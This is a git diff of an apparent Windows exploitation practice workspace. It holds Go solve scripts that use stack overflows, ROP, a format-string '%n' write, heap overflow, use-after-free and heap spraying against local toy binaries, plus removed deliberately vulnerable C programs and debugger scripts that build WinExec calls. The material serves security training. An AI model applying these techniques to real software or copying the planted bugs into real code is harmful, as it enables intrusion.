diff --git a/workspace/task1_leak/flag.txt b/workspace/01_info_leak/flag.txt similarity index 100% rename from workspace/task1_leak/flag.txt rename to workspace/01_info_leak/flag.txt diff --git a/workspace/01_info_leak/main.go b/workspace/01_info_leak/main.go new file mode 100644 index 0000000..4d6287c --- /dev/null +++ b/workspace/01_info_leak/main.go @@ -0,0 +1,38 @@ +package main + +import ( + "bytes" + "fmt" + "log" + "strconv" + "winpwn" +) + +func main() { + tube, err := winpwn.Spawn("./task1.exe") + if err != nil { + log.Fatalf("Spawn: %v", err) + } + + if _, err := tube.RecvUntil([]byte("main: ")); err != nil { + log.Fatalf("RecvUntil: %v", err) + } + addrBytes, err := tube.RecvUntil([]byte("\n")) + if err != nil { + log.Fatalf("RecvUntil: %v", err) + } + mainAddr, err := strconv.ParseUint(string(bytes.TrimSpace(addrBytes)), 16, 64) + if err != nil { + log.Fatalf("parse addr: %v", err) + } + fmt.Printf("[+] Leaked main: 0x%X\n", mainAddr) + + winAddr := mainAddr - 267 + fmt.Printf("[+] win: 0x%X\n", winAddr) + + if err := tube.SendLineAfter([]byte("0x12345: "), []byte(fmt.Sprintf("%x", winAddr))); err != nil { + log.Fatalf("SendLineAfter: %v", err) + } + + tube.Interactive() +} diff --git a/workspace/task1_leak/src/task1.c b/workspace/01_info_leak/src/task1.c similarity index 100% rename from workspace/task1_leak/src/task1.c rename to workspace/01_info_leak/src/task1.c diff --git a/workspace/02_rop/main.go b/workspace/02_rop/main.go new file mode 100644 index 0000000..4351a23 --- /dev/null +++ b/workspace/02_rop/main.go @@ -0,0 +1,50 @@ +package main + +import ( + "bytes" + "fmt" + "log" + "winpwn" +) + +func main() { + target := "task2.exe" + + peFile, err := winpwn.OpenPE(target) + if err != nil { + log.Fatalf("Failed to open PE: %v", err) + } + defer peFile.Close() + + winRVA, err := peFile.GetProcAddress("win") + if err != nil { + log.Fatalf("win() not found: %v", err) + } + imageBase, err := peFile.ImageBase() + if err != nil { + log.Fatalf("Failed to read ImageBase: %v", err) + } + winAddr := imageBase + winRVA + fmt.Printf("[+] win() address: 0x%X\n", winAddr) + + popRcx := uint64(0x140002740) + ret := uint64(0x140001000) + + offset := 56 + payload := bytes.Repeat([]byte("A"), offset) + payload = append(payload, winpwn.P64(popRcx)...) + payload = append(payload, winpwn.P64(0xDEADBEEF)...) + payload = append(payload, winpwn.P64(ret)...) + payload = append(payload, winpwn.P64(winAddr)...) + + tube, err := winpwn.Spawn("./" + target) + if err != nil { + log.Fatalf("Spawn: %v", err) + } + + if err := tube.SendLineAfter([]byte("Input: "), payload); err != nil { + log.Fatalf("SendLineAfter: %v", err) + } + + tube.Interactive() +} diff --git a/workspace/task2_rop/src/task2.c b/workspace/02_rop/src/task2.c similarity index 100% rename from workspace/task2_rop/src/task2.c rename to workspace/02_rop/src/task2.c diff --git a/workspace/03_fmtstr/flag.txt b/workspace/03_fmtstr/flag.txt new file mode 100644 index 0000000..1477b61 --- /dev/null +++ b/workspace/03_fmtstr/flag.txt @@ -0,0 +1 @@ +flag{test_flag} diff --git a/workspace/03_fmtstr/main.go b/workspace/03_fmtstr/main.go new file mode 100644 index 0000000..aed3344 --- /dev/null +++ b/workspace/03_fmtstr/main.go @@ -0,0 +1,27 @@ +package main + +import ( + "bytes" + "log" + "winpwn" +) + +func main() { + tube, err := winpwn.Spawn("fs3_win.exe") + if err != nil { + log.Fatalf("Spawn: %v", err) + } + + offset := 49 + var payload bytes.Buffer + for i := 0; i < offset-1; i++ { + payload.WriteString("%p ") + } + payload.WriteString("%n\n") + + if err := tube.SendLineAfter([]byte("format string: "), payload.Bytes()); err != nil { + log.Fatalf("SendLineAfter: %v", err) + } + + tube.Interactive() +} diff --git a/workspace/task3_fmtstr/src/task3.c b/workspace/03_fmtstr/src/task3.c similarity index 100% rename from workspace/task3_fmtstr/src/task3.c rename to workspace/03_fmtstr/src/task3.c diff --git a/workspace/heap_overflow/flag.txt b/workspace/04_heap_overflow/flag.txt similarity index 100% rename from workspace/heap_overflow/flag.txt rename to workspace/04_heap_overflow/flag.txt diff --git a/workspace/04_heap_overflow/main.go b/workspace/04_heap_overflow/main.go new file mode 100644 index 0000000..4ebc2ce --- /dev/null +++ b/workspace/04_heap_overflow/main.go @@ -0,0 +1,78 @@ +package main + +import ( + "bytes" + "fmt" + "log" + "strconv" + "winpwn" +) + +func parseAddr(line []byte) (uint64, error) { + idx := bytes.Index(line, []byte("addr=0x")) + if idx == -1 { + return 0, fmt.Errorf("no addr= in %q", line) + } + return strconv.ParseUint(string(bytes.TrimSpace(line[idx+7:])), 16, 64) +} + +func main() { + pf, err := winpwn.OpenPE("heap_overflow.exe") + if err != nil { + log.Fatalf("OpenPE: %v", err) + } + winRVA, err := pf.GetProcAddress("win") + if err != nil { + log.Fatalf("win() not found: %v", err) + } + base, err := pf.ImageBase() + if err != nil { + log.Fatalf("ImageBase: %v", err) + } + winAddr := base + winRVA + pf.Close() + fmt.Printf("[+] win() @ 0x%X\n", winAddr) + + tube, err := winpwn.Spawn("heap_overflow.exe") + if err != nil { + log.Fatalf("Spawn: %v", err) + } + if _, err := tube.RecvLine(); err != nil { + log.Fatalf("RecvLine: %v", err) + } + + for _, text := range []string{"A note0", "A note1"} { + if err := tube.SendLine([]byte(text)); err != nil { + log.Fatalf("SendLine %s: %v", text, err) + } + resp, err := tube.RecvLine() + if err != nil { + log.Fatalf("RecvLine: %v", err) + } + addr, _ := parseAddr(resp) + fmt.Printf("[+] %s\n", bytes.TrimSpace(resp)) + _ = addr + } + + payload := bytes.Repeat([]byte{0x41}, 24) + payload = append(payload, bytes.Repeat([]byte{0x42}, 8)...) + payload = append(payload, bytes.Repeat([]byte{0x43}, 16)...) + payload = append(payload, bytes.Repeat([]byte{0x44}, 24)...) + payload = append(payload, winpwn.P64(winAddr)...) + + fmt.Printf("[+] overflow payload: %d bytes, win() @ offset 72\n", len(payload)) + if err := tube.SendLine([]byte("W 0 " + winpwn.Enhex(payload))); err != nil { + log.Fatalf("SendLine W: %v", err) + } + if _, err := tube.RecvLine(); err != nil { + log.Fatalf("RecvLine W resp: %v", err) + } + fmt.Printf("[+] overflow written, note[1]->action now points to win()\n") + + fmt.Printf("[+] calling C 1...\n") + if err := tube.SendLine([]byte("C 1")); err != nil { + log.Fatalf("SendLine C: %v", err) + } + + tube.Interactive() +} diff --git a/workspace/heap_overflow/src/heap_overflow.c b/workspace/04_heap_overflow/src/heap_overflow.c similarity index 100% rename from workspace/heap_overflow/src/heap_overflow.c rename to workspace/04_heap_overflow/src/heap_overflow.c diff --git a/workspace/heap_typemix/flag.txt b/workspace/05_heap_uaf/flag.txt similarity index 100% rename from workspace/heap_typemix/flag.txt rename to workspace/05_heap_uaf/flag.txt diff --git a/workspace/heap_typemix/main.go b/workspace/05_heap_uaf/main.go similarity index 52% rename from workspace/heap_typemix/main.go rename to workspace/05_heap_uaf/main.go index 376ec2b..10967fe 100644 --- a/workspace/heap_typemix/main.go +++ b/workspace/05_heap_uaf/main.go @@ -1,35 +1,3 @@ -/* -Solve script for heap_typemix.exe: UAF type-confusion on a private NT Heap -(no LFH, no grooming required). - -The heap has two struct types of the same size (32 bytes): - - Note: { char title[24]; void(*onPrint)(const char*); } - Token: { char data[24]; void(*validate)(const char*); } - -The bug: command D frees a Note but leaves its pointer in the table. -Command T allocates a raw 32-byte Token from the same private heap. Because -LFH is NOT active (no HeapSetInformation call, too few allocations), the freed -Note slot goes straight to the NT Heap backend freelist. The very next 32-byte -HeapAlloc -- i.e. the T command -- returns the exact same address. - -Exploit chain (no grooming loop needed): - 1. N victim -- allocate Note at address X, onPrint = real_print - 2. D 0 -- free Note (X is on backend freelist, pointer stays in table) - 3. T -- HeapAlloc 32 bytes -> gets X; write win()'s address at offset 24 - 4. P 0 -- call note[0]->onPrint(note[0]->title) - => actually calls Token.validate (= win()) at offset 24 - -win() address is read from the PE export table -- no leak needed, no ASLR to -defeat (or if the task provides it over the network, extract it the same way -examples/heap_lfh does with OpenPE). - -NOTE FOR TASK AUTHORS: this is the simplest possible Windows heap UAF: no LFH -grooming threshold (unlike heap_lfh's ~19-allocation warmup), no Segment Heap -metadata isolation (unlike heap_segment). The freed chunk returns immediately. -If you need a harder variant, see heap_lfh (LFH grooming required) or -heap_lfh_hard (type confusion across size classes). -*/ package main import ( @@ -70,11 +38,10 @@ func main() { log.Fatalf("Spawn: %v", err) } - if _, err := tube.RecvLine(); err != nil { // "heap_typemix ready" + if _, err := tube.RecvLine(); err != nil { log.Fatalf("RecvLine: %v", err) } - // Step 1: allocate the victim Note if err := tube.SendLine([]byte("N victim")); err != nil { log.Fatalf("SendLine N: %v", err) } @@ -88,7 +55,6 @@ func main() { } fmt.Printf("[+] victim Note @ 0x%X\n", victimAddr) - // Step 2: free the victim (dangling pointer stays in table) if err := tube.SendLine([]byte("D 0")); err != nil { log.Fatalf("SendLine D: %v", err) } @@ -97,9 +63,6 @@ func main() { } fmt.Printf("[+] freed Note (dangling pointer at id=0)\n") - // Step 3: allocate Token -- same 32-byte allocation will land at victimAddr. - // Token layout: data[24] | validate(8) - // We put win()'s address at offset 24 (= the validate / onPrint slot). payload := append(bytes.Repeat([]byte{0x41}, 24), winpwn.P64(winAddr)...) payloadHex := winpwn.Enhex(payload) if err := tube.SendLine([]byte("T " + payloadHex)); err != nil { @@ -119,7 +82,6 @@ func main() { fmt.Printf(" (check: did LFH activate? too many prior allocations?)\n") } - // Step 4: call P 0 -- invokes note[0]->onPrint, which is now Token.validate = win() fmt.Printf("[+] dispatching P 0 (UAF call through dangling pointer)...\n") if err := tube.SendLine([]byte("P 0")); err != nil { log.Fatalf("SendLine P: %v", err) diff --git a/workspace/heap_typemix/src/heap_typemix.c b/workspace/05_heap_uaf/src/heap_typemix.c similarity index 100% rename from workspace/heap_typemix/src/heap_typemix.c rename to workspace/05_heap_uaf/src/heap_typemix.c diff --git a/workspace/heap_lfh/flag.txt b/workspace/06_heap_lfh/flag.txt similarity index 100% rename from workspace/heap_lfh/flag.txt rename to workspace/06_heap_lfh/flag.txt diff --git a/workspace/06_heap_lfh/main.go b/workspace/06_heap_lfh/main.go new file mode 100644 index 0000000..9b364a9 --- /dev/null +++ b/workspace/06_heap_lfh/main.go @@ -0,0 +1,116 @@ +package main + +import ( + "bytes" + "fmt" + "log" + "strconv" + "strings" + "winpwn" +) + +func parseAddr(line []byte) (uint64, error) { + idx := bytes.Index(line, []byte("addr=0x")) + if idx == -1 { + return 0, fmt.Errorf("no addr= in line %q", line) + } + hexPart := line[idx+len("addr=0x"):] + hexPart = bytes.TrimSpace(hexPart) + return strconv.ParseUint(string(hexPart), 16, 64) +} + +func main() { + pf, err := winpwn.OpenPE("heap_lfh.exe") + if err != nil { + log.Fatalf("OpenPE: %v", err) + } + winRVA, err := pf.GetProcAddress("win") + if err != nil { + log.Fatalf("win() not found: %v", err) + } + base, err := pf.ImageBase() + if err != nil { + log.Fatalf("ImageBase: %v", err) + } + winAddr := base + winRVA + pf.Close() + fmt.Printf("[+] win() address: 0x%X\n", winAddr) + + tube, err := winpwn.Spawn("heap_lfh.exe") + if err != nil { + log.Fatalf("Spawn: %v", err) + } + + if _, err := tube.RecvLine(); err != nil { + log.Fatalf("RecvLine: %v", err) + } + + for i := 0; i < 5; i++ { + if err := tube.SendLine([]byte(fmt.Sprintf("A filler%d", i))); err != nil { + log.Fatalf("SendLine: %v", err) + } + if _, err := tube.RecvLine(); err != nil { + log.Fatalf("RecvLine: %v", err) + } + } + + if err := tube.SendLine([]byte("A victim")); err != nil { + log.Fatalf("SendLine: %v", err) + } + resp, err := tube.RecvLine() + if err != nil { + log.Fatalf("RecvLine: %v", err) + } + victimAddr, err := parseAddr(resp) + if err != nil { + log.Fatalf("parse victim addr: %v", err) + } + victimID := 5 + fmt.Printf("[+] victim note id=%d addr=0x%X\n", victimID, victimAddr) + + if err := tube.SendLine([]byte(fmt.Sprintf("F %d", victimID))); err != nil { + log.Fatalf("SendLine: %v", err) + } + if _, err := tube.RecvLine(); err != nil { + log.Fatalf("RecvLine: %v", err) + } + + payload := bytes.Repeat([]byte{0x41}, 24) + payload = append(payload, winpwn.P64(winAddr)...) + payloadHex := winpwn.Enhex(payload) + + const maxAttempts = 64 + victim := winpwn.SprayResult[uint64]{ID: victimID, Key: victimAddr} + _, _, attempts, ok, err := winpwn.SprayAndFind( + []winpwn.SprayResult[uint64]{victim}, + maxAttempts, + func(attempt int) (winpwn.SprayResult[uint64], error) { + if err := tube.SendLine([]byte("B " + payloadHex)); err != nil { + return winpwn.SprayResult[uint64]{}, fmt.Errorf("SendLine: %w", err) + } + resp, err := tube.RecvLine() + if err != nil { + return winpwn.SprayResult[uint64]{}, fmt.Errorf("RecvLine: %w", err) + } + if !strings.HasPrefix(string(resp), "OK") { + return winpwn.SprayResult[uint64]{}, fmt.Errorf("unexpected response: %q", resp) + } + addr, err := parseAddr(resp) + return winpwn.SprayResult[uint64]{ID: attempt, Key: addr}, err + }, + func(a, b uint64) bool { return a == b }, + ) + if err != nil { + log.Fatalf("spray: %v", err) + } + if !ok { + log.Fatalf("never landed on the freed slot within %d attempts", maxAttempts) + } + fmt.Printf("[+] spray hit the freed slot after %d attempt(s)\n", attempts) + + if err := tube.SendLine([]byte(fmt.Sprintf("P %d", victimID))); err != nil { + log.Fatalf("SendLine: %v", err) + } + + tube.Interactive() +} diff --git a/workspace/heap_lfh/src/heap_lfh.c b/workspace/06_heap_lfh/src/heap_lfh.c similarity index 100% rename from workspace/heap_lfh/src/heap_lfh.c rename to workspace/06_heap_lfh/src/heap_lfh.c diff --git a/workspace/heap_info_leak/flag.txt b/workspace/07_heap_aslr/flag.txt similarity index 100% rename from workspace/heap_info_leak/flag.txt rename to workspace/07_heap_aslr/flag.txt diff --git a/workspace/heap_info_leak/main.go b/workspace/07_heap_aslr/main.go similarity index 57% rename from workspace/heap_info_leak/main.go rename to workspace/07_heap_aslr/main.go index 700dd9b..0ef4105 100644 --- a/workspace/heap_info_leak/main.go +++ b/workspace/07_heap_aslr/main.go @@ -1,28 +1,3 @@ -/* -Solve script for heap_info_leak.exe: two-stage exploit. - -Stage 1 -- OOB read to defeat ASLR: -The binary has ASLR enabled (DynamicBase flag set -- run `winpwn checksec` to -confirm). The win() address is randomized per run. But the S command prints -an arbitrary number of bytes from note[id]->data with no bounds check. Asking -for 32 bytes from a 24-byte Note reveals bytes 24-31, which are the 8-byte -onShow function pointer (real_show, also exported). From real_show's runtime -address and the static RVA difference (win_rva - real_show_rva, from the PE -export table), we compute win()'s runtime address: - - win_va = leaked_real_show_va + (win_rva - real_show_rva) - -Stage 2 -- UAF function pointer overwrite: -The D command frees the note (dangling pointer stays in the table). The T -command allocates a raw 32-byte token; since LFH is not active (< 18 -same-size allocations), the freed chunk is reused immediately. We place win_va -at offset 24 of the token payload (the onShow slot). P dispatches through -the dangling note pointer and lands at win(). - -Real-CTF parallels (see heap_info_leak.c's top comment): -- justCTF 2024 "Baby Heap but Windows": heap struct at heap+0x2c0 leaks ntdll -- ECW CTF 2024 "Address Book": type confusion OOB read leaks binary pointer -*/ package main import ( @@ -44,7 +19,6 @@ func parseAddr(line []byte) (uint64, error) { } func main() { - // Load the PE on-disk to compute static RVA offsets pf, err := winpwn.OpenPE("heap_info_leak.exe") if err != nil { log.Fatalf("OpenPE: %v", err) @@ -59,8 +33,6 @@ func main() { } pf.Close() - // The RVA difference is the static offset between win() and real_show() -- - // constant regardless of where ASLR loads the binary. rvaDiff := int64(winRVA) - int64(realShowRVA) fmt.Printf("[+] win RVA=0x%x real_show RVA=0x%x diff=%+d\n", winRVA, realShowRVA, rvaDiff) @@ -68,11 +40,10 @@ func main() { if err != nil { log.Fatalf("Spawn: %v", err) } - if _, err := tube.RecvLine(); err != nil { // "heap_info_leak ready ..." + if _, err := tube.RecvLine(); err != nil { log.Fatalf("RecvLine: %v", err) } - // Stage 1a: allocate one Note if err := tube.SendLine([]byte("N victim")); err != nil { log.Fatalf("SendLine N: %v", err) } @@ -83,7 +54,6 @@ func main() { noteAddr, _ := parseAddr(resp) fmt.Printf("[+] Note @ 0x%x\n", noteAddr) - // Stage 1b: OOB read -- request 32 bytes (struct size), byte 24-31 = onShow ptr if err := tube.SendLine([]byte("S 0 32")); err != nil { log.Fatalf("SendLine S: %v", err) } @@ -91,7 +61,6 @@ func main() { if err != nil { log.Fatalf("RecvLine S: %v", err) } - // resp: "HEX <64 hex chars>" hexPart := bytes.TrimPrefix(bytes.TrimSpace(resp), []byte("HEX ")) leaked, err := hex.DecodeString(string(hexPart)) if err != nil || len(leaked) < 32 { @@ -100,11 +69,9 @@ func main() { realShowVA := binary.LittleEndian.Uint64(leaked[24:32]) fmt.Printf("[+] leaked onShow = real_show @ 0x%x (ASLR'd!)\n", realShowVA) - // Stage 1c: compute win()'s runtime address winVA := uint64(int64(realShowVA) + rvaDiff) - fmt.Printf("[+] win() @ 0x%x (computed from leak + static RVA diff)\n", winVA) + fmt.Printf("[+] win() @ 0x%x\n", winVA) - // Stage 2a: free the victim (dangling pointer stays) if err := tube.SendLine([]byte("D 0")); err != nil { log.Fatalf("SendLine D: %v", err) } @@ -113,7 +80,6 @@ func main() { } fmt.Printf("[+] freed victim note (dangling pointer at id=0)\n") - // Stage 2b: allocate Token with win() at offset 24 (onShow position) payload := append(bytes.Repeat([]byte{0x41}, 24), winpwn.P64(winVA)...) if err := tube.SendLine([]byte("T " + winpwn.Enhex(payload))); err != nil { log.Fatalf("SendLine T: %v", err) @@ -128,7 +94,6 @@ func main() { fmt.Printf("[-] WARN: chunk reuse mismatch -- may fail\n") } - // Stage 2c: trigger the UAF call fmt.Printf("[+] triggering P 0 (UAF -> win())...\n") if err := tube.SendLine([]byte("P 0")); err != nil { log.Fatalf("SendLine P: %v", err) diff --git a/workspace/heap_info_leak/src/heap_info_leak.c b/workspace/07_heap_aslr/src/heap_info_leak.c similarity index 100% rename from workspace/heap_info_leak/src/heap_info_leak.c rename to workspace/07_heap_aslr/src/heap_info_leak.c diff --git a/workspace/bof_basic/PEB_walk.c b/workspace/bof_basic/PEB_walk.c deleted file mode 100644 index 18cb816..0000000 --- a/workspace/bof_basic/PEB_walk.c +++ /dev/null @@ -1,166 +0,0 @@ -#include -#include -#include - -// Функция для парсинга PEB и поиска WinExec -FARPROC FindWinExec() { - // Получаем PEB через FS регистр - #ifdef _WIN64 - PPEB pPEB = (PPEB)__readgsqword(0x60); - #else - PPEB pPEB = (PPEB)__readfsdword(0x30); - #endif - - // Получаем LDR (Loader Data) - PPEB_LDR_DATA pLDR = pPEB->Ldr; - - // Проходим по списку загруженных модулей - LIST_ENTRY* pModuleList = &pLDR->InMemoryOrderModuleList; - LIST_ENTRY* pEntry = pModuleList->Flink; - - // Ищем kernel32.dll - while (pEntry != pModuleList) { - PLDR_DATA_TABLE_ENTRY pModule = CONTAINING_RECORD(pEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks); - - // Проверяем имя модуля - WCHAR* moduleName = pModule->BaseDllName.Buffer; - if (moduleName && wcsstr(moduleName, L"kernel32.dll")) { - HMODULE hKernel32 = (HMODULE)pModule->DllBase; - - // Ищем WinExec в kernel32.dll - FARPROC pWinExec = GetProcAddress(hKernel32, "WinExec"); - if (pWinExec) { - printf("[+] Found WinExec at: 0x%p\n", pWinExec); - return pWinExec; - } - } - pEntry = pEntry->Flink; - } - - return NULL; -} - -// Функция для открытия и парсинга .exe файла -void ParseExeFile(const char* filename) { - HANDLE hFile = CreateFileA( - filename, - GENERIC_READ, - FILE_SHARE_READ, - NULL, - OPEN_EXISTING, - FILE_ATTRIBUTE_NORMAL, - NULL - ); - - if (hFile == INVALID_HANDLE_VALUE) { - printf("[-] Failed to open file: %s\n", filename); - return; - } - - // Читаем DOS заголовок - IMAGE_DOS_HEADER dosHeader; - DWORD bytesRead; - if (!ReadFile(hFile, &dosHeader, sizeof(dosHeader), &bytesRead, NULL)) { - printf("[-] Failed to read DOS header\n"); - CloseHandle(hFile); - return; - } - - // Проверяем сигнатуру DOS - if (dosHeader.e_magic != IMAGE_DOS_SIGNATURE) { - printf("[-] Invalid DOS signature\n"); - CloseHandle(hFile); - return; - } - - // Переходим к PE заголовку - SetFilePointer(hFile, dosHeader.e_lfanew, NULL, FILE_BEGIN); - - // Читаем PE сигнатуру - DWORD peSignature; - ReadFile(hFile, &peSignature, sizeof(peSignature), &bytesRead, NULL); - - if (peSignature != IMAGE_NT_SIGNATURE) { - printf("[-] Invalid PE signature\n"); - CloseHandle(hFile); - return; - } - - // Читаем файловый заголовок - IMAGE_FILE_HEADER fileHeader; - ReadFile(hFile, &fileHeader, sizeof(fileHeader), &bytesRead, NULL); - - printf("[+] File is a valid PE executable\n"); - printf("[+] Number of sections: %d\n", fileHeader.NumberOfSections); - printf("[+] Size of optional header: %d\n", fileHeader.SizeOfOptionalHeader); - - // Читаем опциональный заголовок - IMAGE_OPTIONAL_HEADER32 optionalHeader; - ReadFile(hFile, &optionalHeader, sizeof(optionalHeader), &bytesRead, NULL); - - printf("[+] Entry point: 0x%X\n", optionalHeader.AddressOfEntryPoint); - printf("[+] Image base: 0x%X\n", optionalHeader.ImageBase); - - // Читаем секции - printf("\n[+] Sections:\n"); - for (int i = 0; i < fileHeader.NumberOfSections; i++) { - IMAGE_SECTION_HEADER sectionHeader; - ReadFile(hFile, §ionHeader, sizeof(sectionHeader), &bytesRead, NULL); - - printf(" %s - VA: 0x%X, Size: 0x%X\n", - sectionHeader.Name, - sectionHeader.VirtualAddress, - sectionHeader.SizeOfRawData); - } - - CloseHandle(hFile); -} - -// Функция-победитель (win) -void win(void) { - printf("flag{ret2win_but_its_WINDOWS}\n"); - - // Находим WinExec через PEB - FARPROC pWinExec = FindWinExec(); - if (pWinExec) { - // Запускаем калькулятор через WinExec - typedef void (*WinExec_t)(LPCSTR, UINT); - WinExec_t WinExec_func = (WinExec_t)pWinExec; - WinExec_func("mspaint.exe", SW_SHOW); - printf("[+] paint launched!\n"); - } -} - -// Уязвимая функция -void vulnerable_function() { - char buf[16]; - - printf("enter your data:\n"); - scanf("%s", buf); - - printf("try again\n"); -} - -int main(int argc, char* argv[]) { - printf("=== Windows Buffer Overflow CTF Challenge ===\n\n"); - - // Если передан аргумент, парсим .exe файл - if (argc > 1) { - printf("[*] Parsing PE file: %s\n", argv[1]); - ParseExeFile(argv[1]); - printf("\n"); - } - - // Демонстрируем поиск WinExec через PEB - printf("[*] Finding WinExec via PEB parsing...\n"); - FARPROC pWinExec = FindWinExec(); - if (pWinExec) { - printf("[+] WinExec found at: 0x%p\n", pWinExec); - } - printf("\n"); - - // Вызываем уязвимую функцию - vulnerable_function(); - - return 0; -} diff --git a/workspace/bof_basic/bof.c b/workspace/bof_basic/bof.c deleted file mode 100644 index 18b7016..0000000 --- a/workspace/bof_basic/bof.c +++ /dev/null @@ -1,13 +0,0 @@ -void copy(const char *p) -{ - char buffer[40]; - strcpy(buffer, p); -} - -int main(int argc, char** argv) -{ - if (argc != 2) return 1; - - copy(argv[1]); - return 0; -} diff --git a/workspace/bof_basic/bof.exe b/workspace/bof_basic/bof.exe deleted file mode 100644 index 1037fab..0000000 Binary files a/workspace/bof_basic/bof.exe and /dev/null differ diff --git a/workspace/bof_basic/bof.ilk b/workspace/bof_basic/bof.ilk deleted file mode 100644 index f1c8628..0000000 Binary files a/workspace/bof_basic/bof.ilk and /dev/null differ diff --git a/workspace/bof_basic/bof.pdb b/workspace/bof_basic/bof.pdb deleted file mode 100644 index cec9422..0000000 Binary files a/workspace/bof_basic/bof.pdb and /dev/null differ diff --git a/workspace/bof_basic/bof_ASLR_CANARY.exe b/workspace/bof_basic/bof_ASLR_CANARY.exe deleted file mode 100644 index 0985a59..0000000 Binary files a/workspace/bof_basic/bof_ASLR_CANARY.exe and /dev/null differ diff --git a/workspace/bof_basic/bof_ASLR_CANARY.ilk b/workspace/bof_basic/bof_ASLR_CANARY.ilk deleted file mode 100644 index b7df54b..0000000 Binary files a/workspace/bof_basic/bof_ASLR_CANARY.ilk and /dev/null differ diff --git a/workspace/bof_basic/bof_ASLR_CANARY.pdb b/workspace/bof_basic/bof_ASLR_CANARY.pdb deleted file mode 100644 index 95b6e17..0000000 Binary files a/workspace/bof_basic/bof_ASLR_CANARY.pdb and /dev/null differ diff --git a/workspace/bof_basic/bof_ASLR_noCANARY.exe b/workspace/bof_basic/bof_ASLR_noCANARY.exe deleted file mode 100644 index d0f8a9e..0000000 Binary files a/workspace/bof_basic/bof_ASLR_noCANARY.exe and /dev/null differ diff --git a/workspace/bof_basic/bof_ASLR_noCANARY.ilk b/workspace/bof_basic/bof_ASLR_noCANARY.ilk deleted file mode 100644 index 510b0a0..0000000 Binary files a/workspace/bof_basic/bof_ASLR_noCANARY.ilk and /dev/null differ diff --git a/workspace/bof_basic/bof_ASLR_noCANARY.pdb b/workspace/bof_basic/bof_ASLR_noCANARY.pdb deleted file mode 100644 index 886004e..0000000 Binary files a/workspace/bof_basic/bof_ASLR_noCANARY.pdb and /dev/null differ diff --git a/workspace/bof_basic/bof_noASLR_CANARY.exe b/workspace/bof_basic/bof_noASLR_CANARY.exe deleted file mode 100644 index d2d2425..0000000 Binary files a/workspace/bof_basic/bof_noASLR_CANARY.exe and /dev/null differ diff --git a/workspace/bof_basic/bof_noASLR_CANARY.ilk b/workspace/bof_basic/bof_noASLR_CANARY.ilk deleted file mode 100644 index 76a8ff2..0000000 Binary files a/workspace/bof_basic/bof_noASLR_CANARY.ilk and /dev/null differ diff --git a/workspace/bof_basic/bof_noASLR_CANARY.pdb b/workspace/bof_basic/bof_noASLR_CANARY.pdb deleted file mode 100644 index 5cf5dd0..0000000 Binary files a/workspace/bof_basic/bof_noASLR_CANARY.pdb and /dev/null differ diff --git a/workspace/bof_basic/bof_noASLR_noCANARY.exe b/workspace/bof_basic/bof_noASLR_noCANARY.exe deleted file mode 100644 index 0928d42..0000000 Binary files a/workspace/bof_basic/bof_noASLR_noCANARY.exe and /dev/null differ diff --git a/workspace/bof_basic/bof_noASLR_noCANARY.ilk b/workspace/bof_basic/bof_noASLR_noCANARY.ilk deleted file mode 100644 index fd5b825..0000000 Binary files a/workspace/bof_basic/bof_noASLR_noCANARY.ilk and /dev/null differ diff --git a/workspace/bof_basic/bof_noASLR_noCANARY.pdb b/workspace/bof_basic/bof_noASLR_noCANARY.pdb deleted file mode 100644 index b94e322..0000000 Binary files a/workspace/bof_basic/bof_noASLR_noCANARY.pdb and /dev/null differ diff --git a/workspace/bof_basic/dbg_script3.txt b/workspace/bof_basic/dbg_script3.txt deleted file mode 100644 index f58ee07..0000000 --- a/workspace/bof_basic/dbg_script3.txt +++ /dev/null @@ -1,17 +0,0 @@ -bp 0x14000729d -g -eb 14fe80 6e 6f 74 65 70 61 64 2e 65 78 65 00 -eq 14fe80+38 7ff80826a853 -eq 14fe80+40 14fe80 -eq 14fe80+48 7ff8082dcc27 -eq 14fe80+50 1 -eq 14fe80+58 0 -eq 14fe80+60 7ff8072a8820 -bp 7ff8072a8820 -g -r rsp -!teb -gu -r rax -!gle -q diff --git a/workspace/bof_basic/dbg_script4.txt b/workspace/bof_basic/dbg_script4.txt deleted file mode 100644 index 8c82859..0000000 --- a/workspace/bof_basic/dbg_script4.txt +++ /dev/null @@ -1,14 +0,0 @@ -bp 0x14000729d -g -eb 14fe80 6e 6f 74 65 70 61 64 2e 65 78 65 00 -eq 14fe80+38 7ff80826a853 -eq 14fe80+40 14fe80 -eq 14fe80+48 7ff8082dcc27 -eq 14fe80+50 1 -eq 14fe80+58 0 -eq 14fe80+60 7ff8072a8820 -bp 7ff8072a8820 -g -da 14fe80 -r rcx,rdx -q diff --git a/workspace/bof_basic/dbg_script5.txt b/workspace/bof_basic/dbg_script5.txt deleted file mode 100644 index 204049e..0000000 --- a/workspace/bof_basic/dbg_script5.txt +++ /dev/null @@ -1,15 +0,0 @@ -bp 0x14000729d -g -eb 14fe80 63 61 6c 63 2e 65 78 65 00 -eq 14fe80+38 7ff80826a853 -eq 14fe80+40 14fe80 -eq 14fe80+48 7ff8082dcc27 -eq 14fe80+50 1 -eq 14fe80+58 0 -eq 14fe80+60 7ff8072a8820 -bp 7ff8072a8820 -g -gu -r rax -!gle -q diff --git a/workspace/bof_basic/dbg_script6.txt b/workspace/bof_basic/dbg_script6.txt deleted file mode 100644 index b36d5ff..0000000 --- a/workspace/bof_basic/dbg_script6.txt +++ /dev/null @@ -1,14 +0,0 @@ -bp 0x14000729d -g -eb 14fe80 6e 6f 74 65 70 61 64 2e 65 78 65 00 -eq 14fe80+38 7ff80826a853 -eq 14fe80+40 14fe80 -eq 14fe80+48 7ff8082dcc27 -eq 14fe80+50 1 -eq 14fe80+58 0 -eq 14fe80+60 7ff8072a8820 -bp kernelbase!CreateProcessInternalW -g -r rcx,rdx,r8,r9 -du poi(rdx) -q diff --git a/workspace/bof_basic/dbg_script7.txt b/workspace/bof_basic/dbg_script7.txt deleted file mode 100644 index 1b87884..0000000 --- a/workspace/bof_basic/dbg_script7.txt +++ /dev/null @@ -1,17 +0,0 @@ -bp 0x14000729d -g -eb 14fe80 6e 6f 74 65 70 61 64 2e 65 78 65 00 -eq 14fe80+38 7ff80826a853 -eq 14fe80+40 14fe80 -eq 14fe80+48 7ff8082dcc27 -eq 14fe80+50 1 -eq 14fe80+58 0 -eq 14fe80+60 7ff8072a8820 -bp kernelbase!CreateProcessInternalW -g -r rcx,rdx -g -r rcx,rdx -g -r rcx,rdx -q diff --git a/workspace/bof_basic/main.go b/workspace/bof_basic/main.go deleted file mode 100644 index 9a233b9..0000000 --- a/workspace/bof_basic/main.go +++ /dev/null @@ -1,98 +0,0 @@ -// pe_multitool tours the static-analysis side of winpwn: 